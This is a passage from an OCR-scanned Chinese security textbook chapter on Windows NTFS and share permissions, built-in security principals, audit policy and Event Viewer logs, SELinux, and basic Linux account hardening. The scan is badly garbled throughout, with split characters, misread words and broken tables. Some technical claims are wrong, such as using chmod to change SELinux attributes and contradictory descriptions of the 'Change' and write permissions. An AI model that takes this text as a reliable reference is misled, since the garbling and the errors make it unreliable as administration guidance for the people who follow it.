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厂 允 详 父 项 的 继承 权限 传播 及 对 象 和 所 有 子 对 象 ， 包括 那些 在 此 明确 定义 的 项 目 (A)。 
厂 用 在 此 显示 的 可 以 应 用 到 子 对 象 的 项 目 普 代 所 有 子 对 象 的 权限 项 目 中) 


进一步 了 解 访问 控制 、 


图 4-53 [Inetpub 的 高 级 安全 设置 ] 对 话 框 


第 3 3p. 在 图 4-53 中 ,选中 ztguang 用 户 ( 读 者 要 根据 具体 情况 选择 用 户 ) 并 单 击 
【编辑 ] 按 钮 ,弹出 【Inetpub 的 权限 项 目 ] 对 话 框 ,如 图 4-55 所 示 ,首先 单 击 【 全 部 清除 ] 按 钮 ， 
然后 在 [权限] 列表 中 选择 【遍历 文件 夹 /运行 文件 ]【 列 出 文件 夹 / 读 取 数 据 】【 读 取 属 性 】、 
【创建 文件 / 写 入 数据 】【 创 建文 件 夹 /附加 数据 ] 和 【 读 取 权 限 〗 选 项 ,然后 单 击 【 确 定 ] 按 钮 完 
成 设置 。 
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在 经 过 上 述 设置 后 ,ztguang 用 户 在 对 Inetpub 文件 夹 进行 删除 操作 时 ,就 会 弹出 提示 
框 警告 操作 不 能 成 功 。 显 然 ,相对 于 标准 访问 权限 设置 上 的 笼统 ,特别 访问 权限 则 可 以 实现 
更 具体 ,全 面 、 精 确 的 权限 设置 。 

K 4-7 对 图 4-55 中 的 特殊 权限 列表 中 的 权限 含义 做 了 说 明 。 


B R 


表 4-7 特殊 权限 列表 中 的 权限 含义 
* X 


遍历 文件 夹 /运行 文件 


该 权限 允许 用 户 在 文件 夹 及 其 子 文件 夹 之 间 移 动 , 即 使 这 些 文件 夹 本 身 没 有 访 
问 权限 


列 出 文件 夹 / 读 取 数 据 


该 权限 允许 用 户 查 看 文件 夹 中 的 文件 名 称 、 子 文件 夹 名 称 和 查看 文件 中 的 数据 


读 取 属 性 


该 权限 允许 用 户 查 看 文件 或 文件 夹 的 属性 (如 系统 、 只 读 、 隐 藏 等 属性 ) 


读 取 扩 展 属性 


该 权限 允许 查看 文件 或 文件 夹 的 扩展 属性 ,这 些 扩展 属性 通常 由 程序 所 定义 ， 
并 可 以 被 程序 修改 


创建 文件 / 写 人 数据 


该 权限 允许 用 户 在 文件 夹 中 创建 新 文件 ,也 允许 将 数据 写 入 现 有 文件 并 覆盖 现 
有 文件 中 的 数据 


创建 文件 夹 /附加 数据 


该 权限 允许 用 户 在 文件 夹 中 创建 新 文件 夹 或 允许 用 户 在 现 有 文件 的 末尾 添加 
数据 ,但 不 能 对 文件 现 有 的 数据 进行 覆盖 修改, 也 不 能 删除 数据 


写 和 人 属性 


该 权限 允许 用 户 改变 文件 或 文件 夹 的 属性 


写 人 扩展 属性 


该 权限 允许 用 户 对 文件 或 文件 夹 的 扩展 属性 进行 修改 


删除 子 文件 夹 及 文件 


该 权限 允许 用 户 删 除 文件 夹 中 的 子 文件 夹 或 文件 ,即使 在 这 些 子 文件 夹 和 文件 
上 没有 设置 删除 权限 


该 权限 允许 用 户 删 除 当前 文件 夹 和 文件 ,如 果 用 户 在 该 文件 或 文件 夹 上 没有 删 


删除 除权 限 , 但 是 在 其 父 级 的 文件 夹 上 有 删除 子 文件 及 文件 夹 权 限 , 那 么 就 仍然 可 
以 删除 它 

读 取 权限 该 权限 允许 用 户 读 取 文件 或 文件 夹 的 权限 列表 

更 改 权 限 该 权限 允许 用 户 改变 文件 或 文件 夹 上 的 现 有 权限 

取得 所 有 权 该 权限 允许 用 户 获 取 文 件 或 文件 夹 的 所 有 权 , 一 旦 获取 了 所 有 权 , 用 户 就 可 以 


对 文件 或 文件 夹 进 行 全 权 控 制 


区 注意 这 里 需要 单独 说 明 一 下 更 改 权限 与 写 入 权限 的 区 别 : 如 果 仅 仅 对 一 个 文 
件 拥 有 更 改 权限 ,那么 ,不 仅 可 以 对 该 文件 数据 进行 写 入 和 附加 ,而 且 还 可 以 创建 新 文件 
或 删除 现 有 文件 。 而 如 果 仅仅 对 一 个 文件 拥有 写 入 权限 ,那么 既 可 以 对 文件 数据 进行 写 
入 和 附加 ,也 可 以 创建 新 文件 ,但 是 不 能 删除 文件 。 也 就 是 说 ,有 写 入 权限 不 等 于 具有 出 
除权 限 。 但 拥有 更 改 权 限 ,就 等 同 于 拥有 删除 和 写 入 权限 。 


(2) 共享 权限 


只 要 是 共享 出 来 的 文件 夹 就 一 定 具 有 此 权限 。 如 该 文件 夹 存 在 于 NTFS 分 区 中 ,那么 
它 将 同时 具有 NTFS 权限 与 共享 权限 ,如 果 这 个 资源 同时 拥有 NTFS 和 共享 两 种 权限 , 那 
么 系统 中 对 权限 的 具体 实施 将 以 两 种 权限 中 * 较 严格 的 权限 为 准 (拒绝 优 于 允许 原则 ) 。 

比如 某 个 共享 资源 的 NTFS 权限 设置 为 完全 控制 ,而 共享 权限 设置 为 读 取 , 那 么 远程 
用 户 对 共享 资源 只 具有 读 取 权限 了 。 
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设置 共享 权限 的 方法 是 右 击 Inetpub 文件 夹 ,在 右键 菜单 中 选择 【共享 与 安全 命令 ,在 
弹出 的 KInetpub 属性 了 对 话 框 . 如 图 4-56 所 示 ,选择 【共享 3 选项 卡 ,选择 【共享 此 文件 夹 】 单 
选 按钮 ,此 时 将 使 用 默认 的 权限 设置 ( 即 Everyone 用 户 拥 有 读 取 权限 )。 如 果 想 对 共享 权限 
进行 具体 设置 ,那么 单 击 [ 权 限 了 按钮 ,弹出 【Inetpub 的 权限 3 对 话 框 ,如 图 4-57 所 示 , 可 以 看 
到 权限 列表 中 有 完全 控制 更改 和 读 取 3 个 权限 ,这 3 个 权限 的 含义 见 表 4-8。 
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图 4-56 【Inetpub 属性 ] 对 话 框 图 4-57  [Inetpub 的 权限 〗 对 话 杠 


表 4-8 完全 控制 .更改 和 读 取 权限 的 含义 


权 限 * X 
完全 控制 | 个 许 用 户 创建 . 读 取 . 写 信 、 重 命名 删除 当前 文件 夹 中 的 文件 以 及 子 文件 夹 ,另外 ,也 可 以 
EEM | 修改 该 文件 夹 中 的 NTES 访问 权限 和 夺取 所 有 权 

更 改 允许 用 户 读 取 、 写 入 、 重 命名 和 删除 当前 文件 夹 中 的 文件 和 子 文件 夹 ,但 不 能 创建 新 文件 
读 取 允许 用 户 读 取 当前 文件 夹 的 文件 和 子 文件 夹 , 但 是 不 能 进行 写 人 或 删除 操作 


在 图 4-57 中 ,可 以 单 击 [ 添 加 J 按钮 将 需要 设置 权限 的 用 户 或 用 户 组 添加 进来 。 在 默认 
情况 下 , 当 添 加 新 的 组 或 用 户 时 ,该 组 或 用 户 将 具备 读 取 权限 ,可 以 根据 实际 情况 在 下 方 的 
权限 列表 中 进行 复 选 框 的 选择 与 清空 。 

BE ”如果 是 FAT16/FAT32 文件 系统 中 的 共享 文件 夹 ,那么 将 只 能 受到 共享 权 
限 的 保护 ,这 样 一 来 就 容易 产生 安全 性 漏洞 。 这 是 因为 共享 权限 只 能 够 限制 从 网 络 上 访 
间 资 源 的 用 户 , 并 无 法 限制 直接 登录 本 机 的 人 , 即 用 户 只 要 能 够 登录 本 机 ,就 可 以 任意 修 
改 、 删除 FAT16/FAT32 分 区 中 的 数据 了 。 因 此 ,从 安全 角度 来 看 ,不 推荐 使 用 FAT16/ 
FAT32 文件 系统 。 


4. 复制 或 移动 资源 时 权限 的 变化 


设置 权限 的 资源 需要 复制 或 移动 时 ,资源 的 权限 会 如 何 变化 呢 ? 
(1) 复制 资源 
复制 资源 时 , 原 资源 的 权限 不 会 发 生变 化 ,新 生成 的 资源 将 继承 其 目标 位 置 父 级 资源 的 


计算 机 安全 技术 


权限 。 

(2) 移动 资源 

在 移动 资源 时 ,一 般 会 遇 到 以 下 两 种 情况 。 

一 是 如 果 资 源 的 移动 发 生 在 同一 驱动 器 内 ,那么 对 象 保留 本 身 原 有 的 权限 不 变 (包括 资 
源 本 身 权限 及 原先 从 父 级 资源 中 继承 的 权限 )。 

二 是 如 果 资 源 的 移动 发 生 在 不 同 的 驱动 器 之 间 , 那 么 不 仅 对 象 本 身 的 权限 会 丢失 ,而 且 
原先 从 父 级 资源 中 继承 的 权限 也 会 被 从 目标 位 置 的 父 级 资源 继承 的 权限 所 替代 。 实 际 上 ， 
移动 操作 就 是 首先 进行 资源 的 复制 ,然后 从 原 有 位 置 删 除 资源 的 操作 。 

(3) dE NTFS 分 区 

上 述 复制 或 移动 资源 时 产生 的 权限 变化 只 是 针对 NTFS 分 区 而 言 的 ,如 果 将 资源 复制 
或 移动 到 FAT16/FAT32 分 区 ,那么 所 有 的 权限 均 会 自动 丢失 。 


5. 内 置 安全 主体 与 权限 


在 Windows XP 中 ,有 一 群 不 为 人 知 的 用 户 ,它们 的 作用 是 可 以 让 使 用 者 指派 权限 到 某 
种 “状态 ”的 用 户 ,如 匿名 用 户 、 网 络 用 户 等 ,而 不 是 某 个 特定 的 用 户 或 组 (如 zig 这 类 用 户 )。 
这 样 一 来 ,对 用 户 权限 的 管理 就 更 加 容易 精确 控制 了 。 这 群 用 户 在 Windows XP 中 统一 称 
为 内 置 安全 主体 。 

下 面 介绍 为 Inetpub 文件 夹 设 置 内 置 安全 主体 中 的 NETWORK 类 用 户 权限 的 方法 。 

第 1 步 : 右 击 Inetpub 文件 夹 ,在 右键 菜单 中 选择 【共享 与 安全 命令 ,出 现 [Inetpub Jii 
性 对 话 框 ,如 图 4-52 所 示 , 单 击 【添加 按钮 .在 弹出 的 【选择 用 户 或 组 ] 对 话 框 (图 4-58) 中 
单 击 【对 象 类 型 按钮。 弹出 【对 象 类 型 3 对 话 框 , 如 图 4-59 所 示 。 
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图 4-58 【选择 用 户 或 组 ] 对 话 框 图 4-59 【对 象 类 型 ] 对 话 框 


第 2 步 : 在 图 4-59 中 ,只 保留 列表 中 的 [内置 安 全 主体 】, 然 后 单 击 【 确 定 ] 按 钮 。 返 回 
【选择 用 户 或 组 ] 对 话 框 , 单 击 【高 级 按钮 后 接着 单 击 【立即 查找 3 按钮 ,如 图 4-60 所 示 , 图 中 
列 出 了 系统 中 的 所 有 内 置 安全 主体 。 

第 3 步 : 在 图 4-60 中 ,选择 NETWORK 类 用 户 , 然 后 单 击 【确定 了] 按钮。 返回 [Inetpub 
属性 了 对 话 框 , 可 以 按照 前 面 讲 述 的 内 容 为 NETWORK 类 用 户 指派 对 于 Inetpub 文件 夹 的 
NTFS 权限 或 者 共享 权限 。 


图 4-60 中 主要 安全 主体 的 作用 说 明 见 表 4-9。 
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图 4-60 内 置 安全 主体 


表 4-9 安全 主体 的 作用 说 明 
作用 说 明 


ANONYMOUS LOGON 


任何 没有 经 过 Windows XP 验证 程序 (Authentication) ,而 以 匿名 方 
式 登录 域 的 用 户 均 属 于 此 组 


AUTHENTICATED USERS 


与 前 项 相反 ,所 有 经 过 Windows XP 验证 程序 登录 的 用 户 均 属于 此 
组 。 设 置 权 限 和 用 户 权力 时 ,可 考虑 用 此 项 代替 EVERYONE 组 


BATCH 这 个 组 包含 任何 访问 这 台 计 算 机 的 批 处 理 程序 
DIALUP 任何 通过 拨号 网 络 登录 的 用 户 

EVERYONE 指 所 有 经 验证 登录 的 用 户 及 来 宾 

NETWORK 任何 通过 网 络 登录 的 用 户 

INTERACTIVE 指 任何 直接 登录 本 机 的 用 户 

TERMINAL SERVER USER | 指 任何 通过 终端 服务 登录 的 用 户 


4.3.7 Windows 安全 审计 


审计 (审核 ) 是 对 访问 控制 的 必要 补充 ,是 访问 控制 的 一 个 重要 内 容 。 审 计 会 对 用 户 使 
用 何 种 信息 资源 、 使 用 时 间 以 及 执行 何 种 操作 进行 记录 与 监控 。 审 计 和 监控 是 实现 系统 安 
全 的 最 后 一 道 防线 ,处 于 系统 的 最 高 层 , 对 于 责任 追查 和 数据 恢复 非常 有 必要 。 

在 Windows NT/2000/XP/2003/ Vista/2008 中 需要 分 别 设 置 审核 功能 来 捕捉 事件 , 开 
启 审 核 是 加 强 系统 安全 的 重要 一 步 。 在 Windows 中 对 特定 活动 的 跟踪 都 记录 在 安全 事件 


日 志 中 。 


如 果 审 核 的 内 容 过 多 ,将 会 给 系统 增加 不 必要 的 负担 并 降低 操作 系统 的 效率 。 如 果 审 
核 的 内 容 太 少 ,将 会 忽略 一 些 问 题 。 


Windows 可 以 使 用 审核 跟踪 用 于 访问 文件 或 其 他 对 象 的 用 户 账户 、 登 录 尝 试 、 系 统 关 
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闭 或 重新 启动 以 及 类 似 的 事件 ,而 审核 文件 和 NTFS 分 区 下 的 文件 夹 可 以 保证 文件 和 文件 
夹 的 安全 。 

FEL Windows 2003 Server 操作 系统 (NTFS 文件 系统 ) 为 例 , 介 绍 为 文件 和 文件 夹 
设置 审核 的 步骤 。 

第 1 步 : 如 图 4-61 所 示 , 在 [组 策略 编辑 器 ] 窗 口中 , 逐 级 展开 左 侧 窗口 中 的 [计算 机 配 
置 /Windows 设置 /安全 设置 /本 地 策略 分支, 然后 在 该 分 支 下 选择 【审核 策略 ] 选 项。 双击 
【审核 对 象 访问 选项 ,在 弹出 的 对 话 框 ( 图 4-62) 中 将 【本 地 安全 设置 ] 框 内 选中 [成 功 ] 和 
【失败 ] 复 选 框 ,然后 单 击 【 确 定 ] 按 钮 。 


CEEE E zj xil 


ini xj 本 地 安全 设置 | 
文件 到 ) 操作 必 查看 WD 帮助 只 $ 审核 对 象 访问 
e [em dae sd 
[m ; — [£8 
i E 


ENG) 
KRD 


图 4-61 【组 策略 编辑 器 了 窗口 图 4-62 【审核 对 象 访问 属性 ] 对 话 框 


审核 是 基于 成 功 和 失败 两 种 情况 的 。 成 功 是 用 于 记录 哪些 用 户 正常 地 访问 了 文件 ,而 
失败 则 指出 哪些 人 在 没有 正确 的 权限 情况 下 试图 访问 文件 。 这 有 可 能 是 攻击 造成 的 结果 ， 
但 也 有 可 能 是 文件 系统 权限 设置 得 不 正确 所 导致 的 。 

推荐 要 审核 的 项 目 是 : 策略 更 改 . 登 录 事件 对象 访问 .目录 服务 访问 .特权 使 用 .系统 
事件 .账户 登录 事件 。 


BAE NTFS 文件 系统 支持 审核 功能 ,FEAT 文件 系统 不 支持 审核 功能 。 


第 2 步 : 右 击 想 要 审核 的 C:\Inetpub 文件 夹 ,选择 右键 菜单 中 的 【属性 了 命令 ,在 弹出 
的 对 话 框 中 选择 [安全 ]】 选 项 卡 ,如 图 4-52 Bron 。 


BIE ”必须 是 管理 员 组 成 员 或 者 在 组 策略 中 被 授权 有 “管理 审核 和 安全 日 志 ” 权 
限 的 用 户 才 可 以 审核 文件 或 文件 夹 。 审 核 文件 或 文件 夹 之 前 ,必须 启用 图 4-61 中 右 侧 窗 
口 的 “审核 对 象 访问 ”。 和 否则, 当 设置 完 文件 或 文件 夹 审核 时 会 返回 一 个 错误 消息 ,并 且 文 
件 或 文件 夹 都 没有 被 审核 。 

第 3 步 : 在 图 4-52 中 , 单 击 [ 高 级 ] 按 钮 .然后 在 弹出 的 对 话 框 (图 4-63) 中 选择 【审核 】 
选项 卡 。 如 果 要 对 一 个 新 组 或 用 户 设置 审核 ,可 以 在 图 4-63 中 单 击 【添加 按钮 ,然后 在 弹 
出 的 对 话 框 (图 4-64) 中 的 【输入 要 选择 的 对 象 名 称 】 文 本 框 中 输入 新 用 户 名 ,然后 单 击 
【确定 ] 按 钮 ,打开 【Inetpub 的 审核 项 目 ] 对 话 框 (图 4-65) 。 

第 4 步 : 在 图 4-65 中 ,在 【应 用 到 ] 列 表 中 选择 希望 审核 的 对 象 。 在 【访问 了 列表 中 选择 
希望 审核 的 操作 。 如 果 想 禁止 目录 树 中 的 文件 和 子 文件 夹 继承 这 些 审 核 项 目 ,将 图 下 方 的 
复 选 框 选中 。 单 击 【确定 3 按钮 ,然后 在 弹出 的 对 话 框 中 单 击 [ 确 定 ] 按 钮 。 


选择 用 户 或 组 


图 4-64 输入 新 用 户 名 4-65 【Inetpub 的 审核 项 目 ] 对 话 框 


第 5 步 : 在 Inetpub 文件 夹 中 新 建 一 个 文本 文件 (这 一 创建 操作 会 在 事件 查看 器 中 
看 到 )。 

$8625. 使 用 事件 查看 器 分 析 审 核 信息 。 审 核 被 开启 后 ,如 果 不 对 收集 到 的 信息 进 
行 监视 ,那么 这 种 审核 是 没有 意义 的 。 所 以 应 该 有 规律 地 使 用 事件 查看 器 分 析 审 核 的 
信息 。 

依次 选择 [开始 】I【 程 序 】I【 管 理工 具 】I【 事 件 查 看 器 菜单 命令 ,打开 【事件 查看 器 】 
窗口 (图 4-66), 单 击 左 侧 的 【安全 性 】 选 项 ,然后 在 右 侧 详细 信息 窗口 中 ,双击 要 查看 的 事 
件 , 弹 出 [事件 属性 对话 框 , 如 图 4-67 所 示 , 从 描述 中 可 知 该 事件 即 对 应 于 第 5 步 的 创 
建文 本 文件 操作 。 

对 Windows 的 几 种 日 志 类 别 说 明 见 表 4-10。 
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图 4-66 【事件 查看 器 ] 和 窗口 一 【安全 性 】 选 项 图 4-67 【事件 属性 对话 框 


表 4-10 日 志 类 别 说 明 


类 别 说 明 
应 用 程序 日 志 包 含 由 应 用 程序 或 系统 程序 记录 的 事件 。 例 如 ,数据 库 程序 可 在 应 
应 用 程序 日 志 用 程序 日 志 中 记录 文件 错误 。 程 序 开发 人 员 决 定 监视 哪些 事件 


应 用 程序 日 志文 件 的 存放 位 置 为 C:\windows\system32\config\AppEvent. Evt 


如 图 4-66 所 示 ,安全 性 日 志 记 录 诸 如 有 效 和 无 效 的 登录 尝试 等 事件 ,以 及 记录 与 
资源 使 用 相关 的 事件 ,如 创建 .打开 \ 删 除 文件 或 其 他 对 象 。 管 理 器 可 以 指定 在 安 
安全 性 日 志 全 性 日 志 中 记录 什么 事件 。 例 如 ,如 果 用 户 已 启用 登录 审核 ,登录 系统 的 尝试 将 
记录 在 安全 性 日 志 里 

安全 性 日 志文 件 的 存放 位 置 为 C:\windows\system32\config\SecEvent. Evt 


系统 日 志 包含 由 Windows 操作 系统 组 件 记录 的 事件 。 例 如 ,驱动 程序 或 其 他 系统 
组 件 在 启动 过 程 中 的 加 载 故障 会 记录 在 系统 日 志 中 。 由 系统 组 件 记 录 的 事件 类 
型 是 由 Windows 操作 系统 预先 定义 的 

系统 日 志文 件 的 存放 位 置 为 C:\windows\system32\config\SysEvent. Evt 


系统 日 志 


DNS 服务 器 日 志 包含 Windows DNS 服务 记录 的 日 志 。 在 该 日 志 里 记录 有 关 将 
DNS 服务 器 日 志 DNS 名 称 解析 成 Internet 协议 (IP) 地 址 的 事件 。 此 日 志 仅 在 运行 DNS 服务 器 的 
Windows 上 显示 


目录 服务 日 志 包 含 Windows 目录 服务 记录 的 事件 。Windows 目录 服务 在 目录 服 
目录 服务 日 志 务 日 志 中 记录 事件 ,这 包括 任何 有 关 Active Directory 目录 服务 和 Active 
Directory 数据 库 维护 的 信息 


文件 复制 服务 日 志 包 含 Windows 文件 复制 服务 记录 的 事件 。 例 如 ,在 文件 复制 日 
志 记 录 里 记录 复制 失败 和 域 控制 器 由 于 sysvol 更 改 而 更 新 时 发 生 的 事件 


文件 复制 服务 日 志 


事件 查看 器 显示 的 事件 类 型 见 表 4-11。 
主要 的 事件 组 件 见 表 4-12。 
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表 4-11 事件 类 型 
类 型 说 HH 
信息 描述 了 应 用 程序 驱动 程序 或 服务 成 功 操作 的 事件 。 例 如 , 当 网 络 驱 动 程序 加 载 
ga 成 功 时 ,将 会 记录 一 个 信息 事件 
警告 虽然 不 是 很 重要 、 但 是 将 来 有 可 能 导致 问题 的 事件 。 例 如 , 当 磁 盘 空 间 不 足 时 ， 
i 将 会 记录 “警告 "事件 
错误 重要 的 问题 ,如 数据 丢失 或 功能 形 失 。 例 如 ,如 果 在 启动 过 程 中 某 个 服务 加 载 失 
败 , 将 会 记录 错误 事件 
成 功 审核 接受 审核 且 取 得 成 功 的 安全 访问 尝试 。 例 如 ,用 户 对 系统 的 成 功 登 录 尝试 将 作 
为 一 个 成 功 审 核 事 件 被 记录 下 来 
失败 审核 接受 审核 且 未 成 功 的 安全 访问 尝试 。 例 如 ,如 果 用 户 试图 访问 网 络 驱动 器 但 未 
成 功 , 该 尝试 将 作为 失败 审核 被 记录 下 来 
表 4-12 事件 组 件 
组 f 说 明 


事件 严重 性 的 分 类 : 系统 和 应 用 程序 日 志 里 的 错误 ,信息 或 警告 以 及 安全 性 日 志 中 的 成 功 
审核 和 失败 审核 。 在 事件 查看 器 中 的 正常 列表 方式 下 查看 ,它们 都 由 一 个 符号 表示 


日 期 /时 间 | 事件 发 生 的 日 期 和 本 地 时 间 
记录 该 事件 的 软件 ,可 以 是 应 用 程序 名 称 (例如 Microsoft SQL Server) ,也 可 以 是 系统 的 组 


类 型 


来 源 件 ( 如 驱动 程序 ) 或 大 型 应 用 程序 的 组 件 ( 例 如 ,作为 Microsoft Exchange 信息 存储 服务 的 
MSExchangelS) 

分 类 根据 事件 来 源 对 事件 进行 的 分 类 。 该 信息 主要 用 于 安全 性 日 志 。 例 如 ,安全 性 类 别 包括 : 

à 登录 和 注销 、 策 略 更 改 ,. 权 限 使 用 .系统 事件 .对 象 访 问 .详情 跟踪 和 账户 管理 

事件 ID 用 于 标识 特殊 事件 类 型 的 唯一 编号 。 描 述 的 第 一 行 一 般 包 含 事件 类 型 的 名 称 。 例 如 ,6005 


是 在 启动 事件 日 志 服务 时 所 发 生 事件 的 ID 
用 户 事件 发 生 时 处 于 登录 状态 并 执行 操作 的 用 户 的 用 户 名 。N/A 表明 该 条 目 没有 指定 某 个 用 户 


产生 事件 的 计算 机 的 名 称 。 这 通常 是 用 户 自己 的 计算 机 的 名 称 ,除非 用 户 在 另 一 台 计算 机 
Windows XP 上 查看 事件 日 志 


描述 此 字段 包含 事件 的 实际 文本 ,以 及 记录 该 事件 的 应 用 程序 对 所 发 生 事件 的 解释 


计算 机 


4.4 Linux 自主 访问 控制 与 强制 访问 控制 


安全 系统 在 原 有 Linux 操作 系统 基础 上 ,新 增 了 强制 访问 控制 .最 小 特权 管理 、 可 信和 路 
径 、 隐 通道 分 析 和 加 密 卡 支持 等 功能 ,系统 的 主要 功能 如 下 。 

1. 标识 与 鉴别 

标识 与 鉴别 包括 角色 管理 .用户 管理 和 用 户 身份 鉴别 这 3 个 部 分 。 
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2. 自主 访问 控制 

本 系统 在 自主 访问 控制 中 加 入 ACL 机 制 。 

3. 强制 访问 控制 

提供 基于 数据 保密 性 的 资源 存 取 控 制 方法 ,提供 了 比 DAC 更 严格 的 访问 约 东 。 
4. SELinux 


传统 Linux 的 不 足 : 存在 特权 用 户 root、 对 于 文件 访问 权 的 划分 不 够 细 、SUID 程序 的 
权限 升级 .DAC(Discretionary Access Control. 自主 存 取 控制 ) 问 题 。 对 于 这 些 不 足 , 防 火 
墙 和 和信 侵 检测 系统 都 无 能 为 力 。 在 这 种 背景 下 ,出 现 了 SELinux. 

SELinux(Security-Enhanced Linux) 是 美国 国家 安全 局 (NAS) 对 于 MAC(Mandatory 
Access Control, 强 制 存 取 控制 ) 的 一 种 实现 ,在 这 种 强制 访问 控制 体系 下 ,进程 只 能 访问 那 
些 在 它 的 任务 中 所 需要 的 文件 。SELinux 在 类 型 强制 服务 器 中 ,合并 了 多 级 安全 性 或 一 种 
可 选 的 多 类 策略 ,并 采用 了 基于 角色 的 访问 控制 概念 。 

目前 的 多 数 Linux 发 行 版 ,如 RHEL、CentOS、Fedora、Debian 或 Ubuntu 等 ,都 在 内 核 
中 启用 了 SELinux, 并 且 提 供 了 一 个 可 定制 的 安全 策略 ,还 提供 很 多 用 户 层 的 库 和 工具 ,用 
来 帮助 用 户 使 用 SELinux 的 功能 。 

SELinux 系统 比 起 通常 的 Linux 系统 来 ,安全 性 能 要 高 得 多 . 它 通 过 对 用 户 、 进 程 权限 
的 最 小 化 ,使 得 其 即使 受到 攻击 ,进程 或 者 用 户 权 限 被 夺 去 ， 
也 不 会 对 整个 系统 造成 重大 影响 。 Ble WAVES HERE SED 

在 终端 窗口 执行 system-config-securitylevel 命令 ,或 者 pea 
在 GNOME RTR KE RR EN E81 E 3e 4 ERR D AK ey El 
墙 命 令 , 打 开 【 安 全 级 别 设置 ] 对 话 框 ,如 图 4-68 所 示 。 默 认 
设置 为 “强制 ”", 表 示 强 制 执行 SELinux 的 安全 策略 ;“ 人 允许” | [vane@ | [3x ) [me 
表示 当 有 违反 策略 的 行为 时 ,只 给 出 警告 ,不 会 中 止 该 行为 ; 

“禁用 ”表示 关闭 SELinux 的 安全 策略 。 


BEE 与 SELinux 有 关 的 主要 操作 命令 有 : ls Zi ps -Zid -Z 等 ,这 几 个 命令 的 -Z 
参数 专用 于 SELinux, 可 以 查看 文件 ,进程 和 用 户 的 SELinux 属性 。 命令 chmod 用 来 改 
变 文件 的 SELinux 属性 。 


图 4-68 设置 SELinux 


4.5 实例 : Linux 系统 安全 配置 


对 于 公认 的 具有 很 高 稳定 性 的 Linux 操作 系统 来 说 ,如 果 没有 很 好 的 安全 设置 ,那么 ， 
也 会 较 容 易 地 被 网 络 黑 客人 侵 。 下 面 从 账号 安全 管理 、 存 取 访问 控制 .资源 安全 管理 和 网 络 
安全 管理 4 个 方面 对 Linux 系统 的 安全 设置 进行 初步 ,简单 的 介绍 。 


本 节 介 绍 的 内 容 基 于 Redhat Linux/CentOS/Fedora。 
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1. 使 用 su、sudo 命令 


由 于 root 用 户 具 有 最 高 权限 ,如 果 对 这 种 权限 进行 滥用 ,会 将 系统 暴露 在 无 法 预测 的 
安全 威胁 之 下 ,会 带 来 不 必要 的 损失 ,因此 不 要 轻易 将 root 用 户 权限 授权 出 去 。 但 是 有 些 
时 候 需 要 使 用 root 用 户 权 限 对 一 些 程序 进行 安装 和 维护 ,此 时 可 以 使 用 su 命令 。 和 运行 
su 命令 ,输入 正确 的 root 密码 ,就 可 以 暂时 使 用 root 权限 进行 操作 了 。 当 需要 授权 其 他 用 
户 以 root 身份 运行 某 些 命 令 时 ,可 以 使 用 sudo 命令 。 


2. 删除 所 有 的 特殊 账户 
为 了 减少 系统 的 安全 隐患 ,最 好 删除 不 用 的 默认 用 户 账户 和 组 账户 , 比如: games, 


gopher,halt,Ip, news operator shutdown,sync 等 。 
3. 修改 默认 密码 长 度 


首先 要 确定 系统 中 不 存在 空 口令 ,然后 要 修改 默认 密码 长 度 ,编辑 /etc/login. defs X 
件 ,把 PASS_MIN_LEN 5( 默 认 密码 长 度 是 5 个 字符 ) 改 为 PASS_MIN_LEN 8( 或 更 长 ) 。 


4. 修改 口令 文件 属性 
执行 如 下 命令 修改 口令 文件 属性 ,可 以 防止 对 这 些 文件 的 任何 修改 。 


BES 具有 “i” 属 性 的 文件 不 能 被 改动 , 即 不 能 删除 、 不 能 重 命名 、 不 能 向 这 个 文 
件 里 写 数 据 \ 不 能 创建 该 文件 的 链接 。 

#chattr +i /etc/passwd 

#chattr +i /etc/shadow 


#chattr +i /etc/group 
3 chattr +i /etc/gshadow 


4.5.2 存 取 访 问 控制 


Linux 系统 中 的 每 个 文件 和 目录 都 有 访问 许可 权限 ,可 以 使 用 它 来 确定 某 个 用 户 可 以 
通过 某 种 方式 对 文件 或 目录 进行 操作 。 文 件 或 目录 的 访问 权限 分 为 可 读 、 可 写 和 可 执行 
3 种 。 文 件 在 创建 的 时 候 会 自动 把 该 文件 的 读 写 权 限 分 配给 其 属 主 ,使 用 户 能 够 显示 和 修 
改 该 文件 。 也 可 以 将 这 些 权限 改变 为 其 他 的 组 合 形式 。 一 个 文件 车 有 执行 权限 , 则 允许 它 
作为 一 个 程序 被 执行 。 文 件 的 访问 权限 可 以 用 chmod 命令 来 重新 设 定 。 

访问 控制 决定 用 户 可 以 访问 哪些 文件 ,以 及 对 这 些 文件 可 以 进行 的 操作 。 

访问 者 可 以 分 为 3 类 : 文件 拥有 者 (u)、 同 组 用 户 (g) 和 其 他 用 户 (0)。 

访问 类 型 可 以 分 为 3 种 : EGO 、 写 (w) 和 执行 (x) ,可 以 组 合成 9 种 不 同 权 限 。 

文件 和 目录 的 属性 决定 了 文件 和 目录 的 被 许可 权限 。 使 用 命令 ls -1 将 显示 文件 的 属 
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性 ,比如 文件 的 类 型 以 及 文件 的 9 个 权限 位 (前 3 个 权限 位 被 称 为 拥有 者 三 元 组 ,中 间 3 个 
权限 位 被 称 为 同 组 用 户 三 元 组 ,后 3 个 权限 位 被 称 为 其 他 用 户 三 元 组 )。 通 过 这 种 方法 来 对 
文件 的 许可 权限 进行 管理 ,系统 根据 每 个 文件 的 许可 权限 来 判断 每 个 用 户 能 够 对 每 个 文件 
进行 的 操作 。 在 整个 系统 中 超级 用 户 . 即 root 用 户 不 受 限 于 这 种 限制 , 它 可 以 更 改 任何 一 个 文 
件 的 许可 权限 。 普 通用 户 只 能 够 使 用 chmod 命令 更 改 属于 自己 的 文件 和 目录 的 许可 权限 。 

除了 读 (r)、 写 (w) 和 执行 (x)3 种 许可 权限 外 还 有 两 种 特殊 的 权限 : s 和 t。 

s 位 出 现在 拥有 者 三 元 组 或 同 组 用 户 三 元 组 的 第 3 位 , 即 x 位 ,表示 此 文件 是 可 执行 文 
fF ,并且 在 该 文件 执行 时 ,将 以 文件 拥有 者 的 ID 或 组 拥有 者 ID 运行 ,而 不 是 以 运行 命令 的 
用 户 的 ID 运行 。 可 执行 脚本 被 置 s 位 ,存在 一 种 潜在 的 危险 ,特别 是 文件 拥有 者 或 组 拥有 
者 是 root 用 户 时 。 

t 位 出 现在 其 他 用 户 三 元 组 的 第 3 位 ,如 果 在 目录 的 其 他 用 户 三 元 组 中 指定 了 执行 和 
可 写 许 可 权限 ,任何 用 户 都 可 以 删除 或 修改 该 目录 中 的 任何 文件 ,使 用 t+ 权限 可 以 防止 用 户 
删除 或 修改 目录 中 的 文件 。 

